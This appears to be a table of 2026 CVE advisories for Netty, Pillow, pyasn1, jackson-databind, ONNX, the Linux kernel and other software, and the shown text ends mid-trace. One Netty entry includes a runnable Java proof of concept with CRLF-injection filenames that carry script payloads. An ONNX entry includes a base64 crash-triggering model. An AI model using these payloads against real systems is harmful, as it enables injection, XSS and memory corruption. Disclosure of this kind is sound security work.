| CVE-2026-56741 | JLine is a Java library for handling console input. Prior to 3.30.14, 4.0.16, and 4.2.1, the JLine3 Telnet server remote-telnet module does not apply an upper bound to terminal dimensions received via the Telnet NAWS option, and TelnetIO.handleNAWS() in TelnetIO.java:856-879 reads client-supplied width and height as 16-bit unsigned integers and passes values such as 65535x65535 to setTerminalGeometry(), allowing an unauthenticated remote attacker to repeatedly alternate values and trigger continuous expensive rendering work that causes CPU exhaustion and denial of service. This issue is fixed in versions 3.30.14, 4.0.16, and 4.2.1. |
| CVE-2026-56745 | Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, the `SpdyHttpDecoder` handler in Netty's SPDY-to-HTTP codec allocates a pooled `ByteBuf` when processing a client-initiated `SYN_STREAM` frame with `FLAG_FIN=0` and stores the partially constructed `FullHttpRequest` in `messageMap`; when the remote peer sends `RST_STREAM` for that stream or the accumulated content exceeds `maxContentLength`, the decoder removes the entry but does not release the pooled `ByteBuf`, causing native memory exhaustion. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final. |
| CVE-2026-56746 | Netty is a network application framework for development of protocol servers and clients. Versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, are vulnerable to security control bypass during the origin evaluation process. CorsHandler provides a shortCircuit() configuration designed to reject unauthorized cross-origin requests immediately, acting as a security control before requests reach the application. However, due to a logical operator error in the origin evaluation process, this protection can be entirely bypassed. An attacker can bypass the short-circuit mechanism by sending a request with an Origin: null header. This failure forwards unauthorized requests to the backend application, bypassing intended access controls. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final. |
| CVE-2026-57432 | Perl versions through 5.43.10 have an integer overflow in S_measure_struct leading to an out-of-bounds heap read in pack and unpack. S_measure_struct adds each item's size times its repeat count to a running total with no overflow check, so a large repeat count in a pack or unpack template wraps the signed SSize_t total negative. The @, X, and x position codes then guard their moves with a signed length comparison that passes when the length is negative, advancing the buffer pointer out of bounds. A template derived from untrusted input can read heap memory past the buffer and return it to the caller. |
| CVE-2026-59197 | Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0. |
| CVE-2026-59198 | Pillow is a Python imaging library. From 5.2.0 until 12.3.0, Pillow's TGA RLE encoder reads past its packed row buffer when saving a mode 1 image with TGA RLE compression, allowing adjacent process heap bytes to be copied into the generated TGA file. This issue is fixed in version 12.3.0. |
| CVE-2026-59199 | Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0. |
| CVE-2026-59200 | Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0. |
| CVE-2026-59203 | Pillow is a Python imaging library. From 12.0.0 through 12.2.0, Pillow's EPS parser in PIL/EpsImagePlugin.py accepts a negative byte count in the %%BeginBinary directive, allowing a crafted EPS file to cause Image.open() to seek backwards to the same directive and parse it repeatedly in an infinite loop. This issue is fixed in version 12.3.0. |
| CVE-2026-59204 | Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0. |
| CVE-2026-59205 | Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0. |
| CVE-2026-59885 | pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER, CER, and DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs, so a small crafted payload containing an OID with many arcs consumes excessive CPU per decode() call and can deny service to applications that decode untrusted ASN.1 data. The corresponding encoders have the same quadratic behavior when an application re-encodes previously decoded attacker-supplied values. This issue is fixed in version 0.6.4. |
| CVE-2026-59886 | pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the univ.Real type converted its mantissa, base, and exponent value to a Python float using exact big-integer exponentiation. A BER, CER, or DER encoded REAL value only a few bytes long can carry a very large exponent, causing float conversion through prettyPrint(), str(), comparison, arithmetic, int(), or an explicit float() call to consume excessive CPU and memory and hang applications that decode untrusted ASN.1 data and then print, log, or compare decoded objects. This issue is fixed in version 0.6.4. |
| CVE-2026-59888 | jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.15.0 until 2.18.8, 2.21.4, and 3.1.4, Java Records using a PropertyNamingStrategy can bypass @JsonIgnore because POJOPropertiesCollector._removeUnwantedIgnorals() records an ignored component under its original implicit name before _renameUsing() applies the naming strategy, allowing the renamed JSON key to be assigned to the Record constructor parameter. This issue is fixed in versions 2.18.8, 2.21.4, and 3.1.4. |
| CVE-2026-59889 | jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.18.0 until 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1, UnwrappedPropertyHandler.processUnwrapped() replays buffered JSON for a @JsonUnwrapped property and calls prop.deserializeAndSet() without a prop.visibleInView(ctxt.getActiveView()) guard, allowing a property annotated with both @JsonView and @JsonUnwrapped to be written from attacker JSON under a less-privileged active view. This issue is fixed in versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1. |
| CVE-2026-59890 | setuptools is a package that allows users to download, build, install, upgrade, and uninstall Python packages. Prior to 83.0.0, FileList applied MANIFEST.in exclude, global-exclude, recursive-exclude, and prune directives by matching compiled glob patterns against on-disk file names without Unicode normalization, so on macOS APFS or HFS+ an NFD file name could bypass an NFC exclusion rule and be packed into a source distribution. This issue is fixed in version 83.0.0. |
| CVE-2026-59898 | ## Summary An attacker can force WebSocket upgrade via the lax V07 (or V08) handshaker by sending `Sec-WebSocket-Version: 7` and omitting `Connection: Upgrade` / `Upgrade: websocket` headers, completing a protocol switch that a proxy would not recognize as an Upgrade request and enabling HTTP request smuggling / protocol-confusion attacks. |
| CVE-2026-59899 | ### Impact `HttpContentEncoder` (the superclass of the production handler `HttpContentCompressor`) maintains a per-channel `ArrayDeque<CharSequence>` named `acceptEncodingQueue` that accumulates attacker-controlled data without any size limit. The queue is filled on the I/O thread for every inbound HTTP request and drained only when the application later writes a non-1xx response. This creates a resource exhaustion vulnerability when an attacker exploits HTTP/1.1 pipelining to flood the connection with requests faster than the application produces responses. |
| CVE-2026-59900 | Netty's HTTP/2-to-HTTP/1.x translation layer (`Http2StreamFrameToHttpObjectCodec` and `InboundHttp2ToHttpAdapter`) fails to deduplicate or validate `Host` headers when an HTTP/2 client supplies both the `:authority` pseudo-header and a literal `host` header in a single HEADERS frame. The translator maps `:authority` to `Host` and separately copies the literal `host` header, producing an `HttpRequest` object containing two `Host` headers with attacker-controlled differing values. |
| CVE-2026-59901 | The `Bzip2Decoder` handler in Netty's compression codec pipeline is vulnerable to a denial-of-service attack through a malformed bzip2 stream that permanently captures the event-loop thread in an infinite loop. The vulnerability exists in the run-length encoding (RLE) state machine within [`Bzip2BlockDecompressor.read()`] |
| CVE-2026-59921 | # Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-http multipart) | | **Component** | `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` | | **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting | | **Impact** | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition | | **CVSS 3.1 Score** | **8.1 (High)** | | **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` | | **Attack Vector** | Network | | **Attack Complexity** | Low | | **Privileges Required** | Low (attacker must be able to upload files with controlled filenames) | | **User Interaction** | None | | **Scope** | Unchanged | | **Confidentiality Impact** | High | | **Integrity Impact** | High | | **Availability Impact** | None | ## 2. Affected Components The following classes in the `codec-http` module are affected: - `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` — directly concatenates unvalidated filename/name into `Content-Disposition` MIME headers (lines 519, 633, 674, 682, 686-688) - `io.netty.handler.codec.http.multipart.DiskFileUpload` — `setFilename()` only checks null (line 78) - `io.netty.handler.codec.http.multipart.MemoryFileUpload` — `setFilename()` only checks null (line 60) - `io.netty.handler.codec.http.multipart.MixedFileUpload` — `setFilename()` delegates without validation (line 62) ## 3. Vulnerability Description Netty's `HttpPostRequestEncoder` constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into `Content-Disposition` MIME headers **without validating or sanitizing CRLF characters** (`\r\n`). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. ### Root Cause In `HttpPostRequestEncoder.java`, multiple code paths directly embed `fileUpload.getFilename()` into header strings: ```java // Line 674 (attachment mode): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.ATTACHMENT + "; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION // Lines 686-688 (form-data mode): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; " + HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION // Line 519 (attribute name): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; " + HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^ NO VALIDATION ``` The `setFilename()` method in all `FileUpload` implementations only checks for null: ```java // DiskFileUpload.java:77-79 public void setFilename(String filename) { this.filename = ObjectUtil.checkNotNull(filename, "filename"); // NO CRLF VALIDATION } ``` ### Comparison with Similar Fixed CVEs This vulnerability follows the same pattern as: | CVE | Component | Fix | |-----|-----------|-----| | **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in `SmtpUtils.validateSMTPParameters()` | | **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder — CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` | The multipart encoder has **no equivalent validation** for filenames or field names. ## 4. Exploitability Prerequisites This vulnerability is exploitable when: 1. The application uses Netty's `HttpPostRequestEncoder` to construct multipart HTTP requests 2. The filename of an uploaded file is derived from user-controlled input 3. The application does **not** perform its own CRLF sanitization on filenames **Common affected patterns**: - File upload proxies that forward user-supplied filenames - API gateways that construct multipart requests from incoming parameters - Microservice communication that passes filenames between services - Testing/automation frameworks that use Netty HTTP client with user-defined filenames ## 5. Attack Scenarios ### Scenario 1: Content-Type Override via Filename Injection An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS: ```java String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--"; DiskFileUpload upload = new DiskFileUpload( "avatar", maliciousFilename, "image/jpeg", "binary", UTF_8, fileSize); ``` **Wire format:** ``` --boundary content-disposition: form-data; name="avatar"; filename="photo.jpg" Content-Type: text/html <-- INJECTED: overrides image/jpeg <script>alert(document.cookie)</script> <-- INJECTED: XSS payload --" content-type: image/jpeg <-- Original (now ignored by many parsers) ... ``` If the receiving server parses the **first** `Content-Type`, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back. ### Scenario 2: Arbitrary MIME Header Injection ```java String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true"; ``` Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic. ### Scenario 3: Multipart Boundary Confusion ```java String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret"; ``` By injecting a new boundary delimiter, the attacker can: - Terminate the current body part prematurely - Start a new body part with a different field name - Override form fields processed by the server ## 6. Proof of Concept ### Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.handler.codec.http.*; import io.netty.handler.codec.http.multipart.*; import java.io.File; import java.io.FileWriter; import java.nio.charset.StandardCharsets; /** * PoC: HTTP Multipart Content-Disposition Header Injection via Filename * * Demonstrates that HttpPostRequestEncoder does not validate filenames * for CRLF characters, allowing injection of arbitrary MIME headers * into multipart form data. */ public class MultipartFilenameInjectionPoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n"); testFilenameInjection(); System.out.println("\n=== PoC Complete ==="); } static void testFilenameInjection() throws Exception { System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition"); System.out.println("-------------------------------------------------------"); // Create a temporary file for upload File tempFile = File.createTempFile("test", ".txt"); tempFile.deleteOnExit(); try (FileWriter fw = new FileWriter(tempFile)) { fw.write("test content"); } // Malicious filename with CRLF to inject Content-Type header String maliciousFilename = "innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" + "<script>alert(1)</script>\r\n--"; HttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.POST, "/upload"); HttpPostRequestEncoder encoder = new HttpPostRequestEncoder( new DefaultHttpDataFactory(false), request, true, StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986); DiskFileUpload fileUpload = new DiskFileUpload( "file", maliciousFilename, "application/octet-stream", "binary", StandardCharsets.UTF_8, tempFile.length()); fileUpload.setContent(tempFile); encoder.addBodyHttpData(fileUpload); encoder.finalizeRequest(); // Read the encoded multipart body StringBuilder body = new StringBuilder(); while (!encoder.isEndOfInput()) { HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc()); if (chunk != null) { body.append(chunk.content().toString(StandardCharsets.UTF_8)); chunk.release(); } } encoder.cleanFiles(); String encoded = body.toString(); System.out.println("Malicious filename: " + maliciousFilename.replace("\r", "\\r").replace("\n", "\\n")); System.out.println(); System.out.println("Encoded multipart body:"); System.out.println("---"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } System.out.println("---"); boolean hasInjectedHeader = encoded.contains("X-Injected: true"); boolean hasInjectedScript = encoded.contains("<script>"); System.out.println(); System.out.println("Injected X-Injected header: " + hasInjectedHeader); System.out.println("Injected script tag: " + hasInjectedScript); System.out.println("VULNERABLE: " + ((hasInjectedHeader || hasInjectedScript) ? "YES - MIME header injection!" : "NO")); tempFile.delete(); } } ``` ### How to Compile and Run ```bash # Build Netty (skip tests) ./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \ -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \ -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \ -Dspotbugs.skip=true -q # Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') # Compile and run javac -cp "$JARS" MultipartFilenameInjectionPoC.java java -cp "$JARS:." MultipartFilenameInjectionPoC ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) ``` === Netty Multipart Filename CRLF Injection PoC === [TEST 1] Filename CRLF Injection in Content-Disposition ------------------------------------------------------- Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n-- Encoded multipart body: --- --88aaade41dbb9f9f\r content-disposition: form-data; name="file"; filename="innocent.txt"\r Content-Type: text/html\r <-- INJECTED X-Injected: true\r <-- INJECTED \r <script>alert(1)</script>\r <-- INJECTED XSS --"\r content-length: 12\r content-type: application/octet-stream\r content-transfer-encoding: binary\r \r test content\r --88aaade41dbb9f9f--\r --- Injected X-Injected header: true Injected script tag: true VULNERABLE: YES - MIME header injection! === PoC Complete === ``` ## 7. Impact Analysis | Impact Category | Description | |----------------|-------------| | **Confidentiality** | HIGH — Injected headers may bypass access controls or leak tokens | | **Integrity** | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation | | **Content-Type Spoofing** | Override `application/octet-stream` to `text/html` to serve executable content | | **Stored XSS** | Inject `<script>` tags via Content-Type override when uploaded files are served back | | **Form Field Override** | Inject new multipart boundaries to create/override form fields | | **Downstream Injection** | Custom MIME headers may affect middleware, CDN, or storage layer behavior | ## 8. Remediation Recommendations ### Option 1: Validate in FileUpload.setFilename() (Recommended) ```java // DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java public void setFilename(String filename) { ObjectUtil.checkNotNull(filename, "filename"); for (int i = 0; i < filename.length(); i++) { char c = filename.charAt(i); if (c == '\r' || c == '\n') { throw new IllegalArgumentException( "filename contains prohibited CRLF character at index " + i); } } this.filename = filename; } ``` ### Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth) Escape or reject CRLF characters when building Content-Disposition headers: ```java // HttpPostRequestEncoder.java - add helper method private static String sanitizeHeaderParam(String value) { for (int i = 0; i < value.length(); i++) { char c = value.charAt(i); if (c == '\r' || c == '\n' || c == '"') { throw new ErrorDataEncoderException( "Multipart parameter contains prohibited character at index " + i); } } return value; } // Then use in Content-Disposition construction: internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n"); ``` ### Option 3: RFC 2231/5987 Encoding for Filenames Use proper RFC 2231 encoding for filenames with special characters: ```java // Encode filename per RFC 5987: // filename*=UTF-8''encoded%20filename String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8"); internal.addValue(... + "filename*=" + encodedFilename + "\r\n"); ``` ## 9. References - [RFC 2183: Content-Disposition Header Field](https://tools.ietf.org/html/rfc2183) - [RFC 7578: Returning Values from Forms: multipart/form-data](https://tools.ietf.org/html/rfc7578) - [RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters](https://tools.ietf.org/html/rfc5987) - [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html) - [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html) - [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86) - [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4) |
| CVE-2026-59949 | ### Summary Insufficient validation of byte array arguments in JNI-based XXHash implementations in lz4-java 1.11.0 and earlier allows callers to crash the JVM by passing an invalid array reference or invalid range to native XXHash methods. This affects applications where an attacker can influence the byte array object or the `off` / `len` arguments passed to affected XXHash APIs. It does **not** affect the common case where only the contents of a valid byte array are attacker-controlled. Java-based XXHash implementations are *not* affected. ### Details The JNI-backed XXHash implementations pass caller-provided byte array arguments to native code. The affected APIs are: - `XXHashFactory.nativeInstance().hash32().hash(byte[] buf, int off, int len, int seed)` - `XXHashFactory.nativeInstance().hash64().hash(byte[] buf, int off, int len, long seed)` - `XXHashFactory.nativeInstance().newStreamingHash32(seed).update(byte[] bytes, int off, int len)` - `XXHashFactory.nativeInstance().newStreamingHash64(seed).update(byte[] bytes, int off, int len)` Before the fix, the streaming JNI implementations did not validate `bytes`, `off`, or `len` before calling `XXHashJNI.XXH32_update` / `XXHashJNI.XXH64_update`. The non-streaming JNI implementations called `SafeUtils.checkRange`, but `SafeUtils.checkRange(byte[], int, int)` skipped all array access when `len == 0`, so a null byte array with a zero length could still reach JNI. As a result: - `hash(null, 0, 0, seed)` and `update(null, 0, 0)` could pass a null array reference to JNI, causing a fatal JVM crash in `GetPrimitiveArrayCritical`. - `update(new byte[16], 0, Integer.MAX_VALUE)` could cause native XXHash code to read far beyond the end of the Java array, causing a fatal JVM crash and potentially exposing in-process memory to the native routine before the crash. The oversized-length non-streaming `hash(new byte[16], 0, Integer.MAX_VALUE, seed)` case was already rejected in Java before this fix. The missing validation affected the streaming oversized-length case and the zero-length null-array case for both streaming and non-streaming JNI XXHash APIs. The impact of this vulnerability depends on how user code uses the XXHash API. Code that hashes attacker-controlled byte contents in a valid, correctly bounded array is not affected. Code may be affected if an attacker can cause the application to pass a null array, an attacker-controlled offset, or an attacker-controlled length to the native XXHash API. The primary impact is denial of service due to JVM termination. For oversized lengths, native code may also read outside the Java array before the process crashes. ### Mitigation lz4-java 1.11.1 fixes this issue without requiring changes in user code. If you cannot upgrade, avoid passing attacker-controlled array references, offsets, or lengths to JNI-backed XXHash APIs. In particular, validate that arrays are non-null and that `off` and `len` describe a range fully contained in the array before calling native XXHash methods. Using `XXHashFactory.safeInstance()` avoids the JNI boundary and is not affected by this native crash behavior. |
| CVE-2026-59950 | The MCP Python SDK, called mcp on PyPI, is a Python implementation of the Model Context Protocol (MCP). Prior to 1.28.1, the deprecated mcp.server.websocket.websocket_server transport accepted WebSocket handshakes without applying Host or Origin header validation, leaving no SDK-level way to restrict which origins could connect to applications that exposed that transport. This issue is fixed in version 1.28.1. |
| CVE-2026-63632 | ### Summary Heap-buffer-overflow READ (16 bytes) in `Gemm_7_6::adapt_gemm_7_6()` (`onnx/version_converter/adapters/gemm_7_6.h:41`) when `ConvertVersion()` processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses `B_shape[1]` without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation. ### Details The Gemm 7→6 downgrade adapter reads input shapes without bounds checking: ```cpp // gemm_7_6.h:26-42 const auto& A_shape = inputs[0]->sizes(); // May have < 2 elements const auto& B_shape = inputs[1]->sizes(); // May have < 2 elements if (node->hasAttribute(ktransB) && node->i(ktransB) == 1) { MN.emplace_back(B_shape[0]); // OOB if B has 0 dims } else { MN.emplace_back(B_shape[1]); // OOB if B has < 2 dims ← CRASH } ``` The PoC has input B with shape `[28]` (1 dimension). `B_shape` has 1 element. Accessing `B_shape[1]` reads 16 bytes past the `std::vector<Dimension>` internal storage into adjacent heap memory. The same unchecked pattern applies to `A_shape[0]` and `A_shape[1]` at lines 34 and 36. **Entry point:** `onnx.version_converter.convert_version(model, 6)` — different from the `InferShapes` bugs reported in separate advisories. This triggers during opset downgrade (7→6). ### PoC ```python import base64 import onnx from onnx import version_converter poc_b64 = "CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH" model = onnx.load_from_string(base64.b64decode(poc_b64)) # Triggers heap-buffer-overflow in Gemm_7_6 adapter version_converter.convert_version(model, 6) ``` 186-byte PoC. ASan confirms: `heap-buffer-overflow READ of size 16` at `gemm_7_6.h:41`, `0 bytes after 48-byte region` allocated in `tensorShapeProtoToDimensions` at `ir_pb_converter.cc:216`. ### Impact Any application that uses `onnx.version_converter.convert_version()` on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent — the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts. |
| CVE-2026-63793 | In the Linux kernel, the following vulnerability has been resolved: ntfs: serialize volume label accesses Protect vol->volume_label with a mutex and snaphost the label before copy_to_user. This prevent a use-after-free when FS_IOC_SETFSLABEL replaces the vol->volume_label and FS_IOC_GETTSLABEL reads it concurrently. |
| CVE-2026-63794 | In the Linux kernel, the following vulnerability has been resolved: KVM: SVM: Fix page overflow in sev_dbg_crypt() for ENCRYPT path In sev_dbg_crypt(), the per-iteration transfer length is bounded by the source page offset (PAGE_SIZE - s_off) but not by the destination page offset (PAGE_SIZE - d_off). When d_off > s_off, the encrypt path (__sev_dbg_encrypt_user) performs a read-modify-write using a single-page intermediate buffer (dst_tpage): 1. __sev_dbg_decrypt() expands the size to round_up(len + (d_off & 15), 16) before issuing the PSP command. If len + (d_off & 15) > PAGE_SIZE, the PSP writes beyond the end of the 4096-byte dst_tpage allocation. 2. The subsequent memcpy()/copy_from_user() into page_address(dst_tpage) + (d_off & 15) of 'len' bytes overflows by up to 15 bytes under the same condition. Trigger example: s_off = 0, d_off = 1, debug.len = PAGE_SIZE - the PSP is instructed to write round_up(4097, 16) = 4112 bytes to a 4096-byte buffer. Fix by also bounding len by (PAGE_SIZE - d_off), the same check that sev_send_update_data() already performs for its single-page guest region. ================================================================== BUG: KASAN: slab-use-after-free in sev_dbg_crypt+0x993/0xd10 [kvm_amd] Write of size 4095 at addr ff110062293bb009 by task sev_dbg_test/228214 CPU: 96 UID: 0 PID: 228214 Comm: sev_dbg_test Tainted: G U W 7.0.0-smp--5ce9b0c48211-dbg #156 PREEMPTLAZY Tainted: [U]=USER, [W]=WARN Hardware name: Google Astoria/astoria, BIOS 0.20250817.1-0 08/25/2025 Call Trace: <TASK> dump_stack_lvl+0x54/0x70 print_report+0xbc/0x260 kasan_report+0xa2/0xd0 kasan_check_range+0x25f/0x2c0 __asan_memcpy+0x40/0x70 sev_dbg_crypt+0x993/0xd10 [kvm_amd] sev_mem_enc_ioctl+0x33c/0x450 [kvm_amd] kvm_vm_ioctl+0x65d/0x6d0 [kvm] __se_sys_ioctl+0xb2/0x100 do_syscall_64+0xe8/0x870 entry_SYSCALL_64_after_hwframe+0x4b/0x53 </TASK> The buggy address belongs to the physical page: page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x7fe72b6a0 pfn:0x62293bb memcg:ff11000112827d82 flags: 0x1400000000000000(node=1|zone=1) raw: 1400000000000000 0000000000000000 dead000000000122 0000000000000000 raw: 00000007fe72b6a0 0000000000000000 00000001ffffffff ff11000112827d82 page dumped because: kasan: bad access detected Memory state around the buggy address: ff110062293bbf00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff110062293bbf80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >ff110062293bc000: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc ^ ff110062293bc080: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc ff110062293bc100: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc ================================================================== Disabling lock debugging due to kernel taint [sean: add sample KASAN splat, Fixes, and stable@] |
| CVE-2026-63795 | In the Linux kernel, the following vulnerability has been resolved: 9p: avoid putting oldfid in p9_client_walk() error path When p9_client_walk() is called with clone set to false, fid aliases oldfid. If the walk subsequently fails after the request has been sent, the error path jumps to clunk_fid, which currently calls p9_fid_put(fid) unconditionally. This drops a reference to oldfid even though ownership of oldfid remains with the caller. If this is the last reference, oldfid can be clunked and destroyed while the caller still expects it to be valid. A later use or put of oldfid can then trigger a use-after-free or refcount underflow. Fix this by only putting fid in the clunk_fid error path when it does not alias oldfid, matching the existing guard in the error path below. This can be triggered when a multi-component walk is split into multiple p9_client_walk() calls and a later non-cloning walk fails. A reproducer and refcount warning logs are available on request. |
| CVE-2026-63796 | In the Linux kernel, the following vulnerability has been resolved: ocfs2: reject oversized group bitmap descriptors ocfs2_validate_gd_parent() only bounds bg_bits against the parent allocator's chain geometry. A malicious descriptor can still claim a bg_size/bg_bits pair that exceeds the bitmap bytes that physically fit in the group descriptor block, so later bitmap scans and bit updates can run past bg_bitmap. Add a physical-cap check based on ocfs2_group_bitmap_size() for the parent allocator type and reject descriptors whose bg_size or bg_bits exceed that capacity. Keep the existing chain geometry check so both the on-disk bitmap layout and the allocator metadata must agree before the descriptor is used. Validation reproduced this kernel report: KASAN use-after-free in _find_next_bit+0x7f/0xc0 Read of size 8 Call trace: dump_stack_lvl+0x66/0xa0 (?:?) print_report+0xd0/0x630 (?:?) _find_next_bit+0x7f/0xc0 (?:?) srso_alias_return_thunk+0x5/0xfbef5 (?:?) __virt_addr_valid+0x188/0x2f0 (?:?) kasan_report+0xe4/0x120 (?:?) ocfs2_find_max_contig_free_bits+0x35/0x70 (fs/ocfs2/suballoc.c:1375) ocfs2_block_group_set_bits+0x472/0x4b0 (fs/ocfs2/suballoc.c:1457) ocfs2_cluster_group_search+0x16b/0x440 (fs/ocfs2/suballoc.c:86) ocfs2_bg_discontig_fix_result+0x1ef/0x230 (fs/ocfs2/suballoc.c:1786) ocfs2_search_chain+0x8f8/0x10a0 (fs/ocfs2/suballoc.c:1886) get_page_from_freelist+0x70e/0x2370 (?:?) lock_release+0xc6/0x290 (?:?) do_raw_spin_unlock+0x9a/0x100 (?:?) kasan_unpoison+0x27/0x60 (?:?) __bfs+0x147/0x240 (?:?) get_page_from_freelist+0x83d/0x2370 (?:?) ocfs2_claim_suballoc_bits+0x38c/0xe70 (fs/ocfs2/suballoc.c:96) sched_domains_numa_masks_clear+0x70/0xd0 